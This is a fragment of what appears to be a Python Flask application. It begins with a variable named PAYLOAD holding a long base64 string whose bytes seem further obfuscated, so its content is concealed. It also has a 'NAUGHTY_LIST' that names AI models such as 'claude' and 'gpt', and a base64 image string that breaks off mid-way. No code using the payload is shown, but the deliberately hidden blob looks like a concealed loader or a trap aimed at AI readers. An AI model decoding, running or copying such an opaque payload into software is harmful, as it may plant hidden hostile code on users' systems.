PAYLOAD = 'SGRib2IuLSAtIW0sKyBtMDE3bWInMCM1Jy4mJisvYiEnOidiMSw2JyxiMitiPmJgSHlrP0h5ayIePxYQDRI5Zh54PxYRDQo5Zh5tbXgyNjYqYiwtYiUsKywsNzBiMCc0MCcRIh5qJS0ubCcuLTEsLSFiYmJiSDlifH9ia2pibhYRDQpibhYQDRJqLCc2MSsubDAnNDAnMUh5YB57dWxwdWx7dWxwdWAeYn9iFhENCmI2MSwtIUh5cnpiPj5iFhANEmw0LCdsMTEnIS0wMmJ/YhYQDRJiNjEsLSFISHlrP0g/YmJIeWtlfHMqbX4mLDctBGI2LQx8cyp+ZWomLCdsMScwYmJiYkh5az9iZS4vNiptNjonNmVieGUnMjsWbzYsJzYsLQFlYjlibnZydmomIycKJzYrMDVsMScwYmJiYkg5YicxLidiP2JiSD9iYmJiSHlrIh58cyptfj8nJSMxMScvbDAtMDAnOWYeYngOEBdiJSwrKiE2JyRiMC0wMAd8cyp+Ih5qJiwnbDEnMGJiYmJiYkh5az9iZS4vNiptNjonNmVieGUnMjsWbzYsJzYsLQFlYjlibnJyd2omIycKJzYrMDVsMScwYmJiYmJiSDliazAtMDAnamIqITYjIWI/YmJiYkh5azYsJzYsLSFqJiwnbDEnMGJiYmJiYkh5az9iZSwrIy4ybTY6JzZlYnhlJzI7Fm82LCc2LC0BZWI5Ym5ycnBqJiMnCic2KzA1bDEnMGJiYmJiYkh5a2o2Oic2bCcxLC0yMScwYjYrIzUjYn9iNiwnNiwtIWI2MSwtIWJiYmJiYkh5ay4wFzYnJTAjNmoqITYnJGI2KyM1I2J/YicxLC0yMScwYjYxLC0hYmJiYmJiSDliOzA2YmJiYkhIP2JiYmJIeSwwNzYnMGJiYmJiYkh5a2V8cyptfjAnNicvIzAjMmIuMDdiJSwrMTErD3xzKn5laiYsJ2wxJzBiYmJiYmJIeWs/YmUuLzYqbTY6JzZlYnhlJzI7Fm82LCc2LC0BZWI5Ym5ycnZqJiMnCic2KzA1bDEnMGJiYmJiYkg5YmsuMBc2JyUwIzZjamIkK2JiYmJISHkuMDdsOzAnNzNsLjAXJicxMCMyYn9iLjAXNiclMCM2YjYxLC0hYmJiYkg5YmtlKiE2JyRtZWJ/f39iJy8jLCo2IzJsLjAXJicxMCMy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BxBiKG9iNjEtKm8qNic0Yi1vYhYXEhYXDWIDb2IxJy4gIzYyK0gWEgcBAQNiKG9iNi0tMGIwJyw1LW8mKzdvb2IwJyw1LWIvb2I2MS0qbyo2JzRiLW9iFhcSFhcNYgNvYjEnLiAjNjIrSEgyN2ItLmI2JzFiKSwrLmIyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitIYmJic2xwdWx7dWxwdWIjKzRiNi43IyQnJmImJiNiJzY3LTBiMitiJzAjNScuJiYrL2IhJzonYjEsNicsYjIrSDI3YicwIzUnLiYmKy9vKjYnNGI2JzFiKSwrLmIyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitIJzAjNScuJiYrL28qNic0YjQnJmJ2cG17dWxwdWx7dWxwdWImJiNiMCYmI2IyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitISDI3YjYxLSpvKjYnNGI2JzFiKSwrLmIyK0g2MS0qbyo2JzRiNCcmYnZwbXNscHVse3VscHViJiYjYjAmJiNiMitIJzAjNScuJiYrL2IxLDYnLGInMCM1Jy4mJisvbyo2JzRiNicxYiksKy5iMitIJzAjNScuJiYrL28qNic0YicvIyxiMCcnMmIqNic0YicyOzZiNjEtKm8qNic0YiYmI2IpLCsuYjIrSCcwIzUnLiYmKy9iJiYjYjEsNicsYjIr'

app = Flask(__name__)

NAUGHTY_LIST = [
    'adamd',
    'kanak',
    'claude',
    'gpt',
]

DEFAULT_IMAGE = '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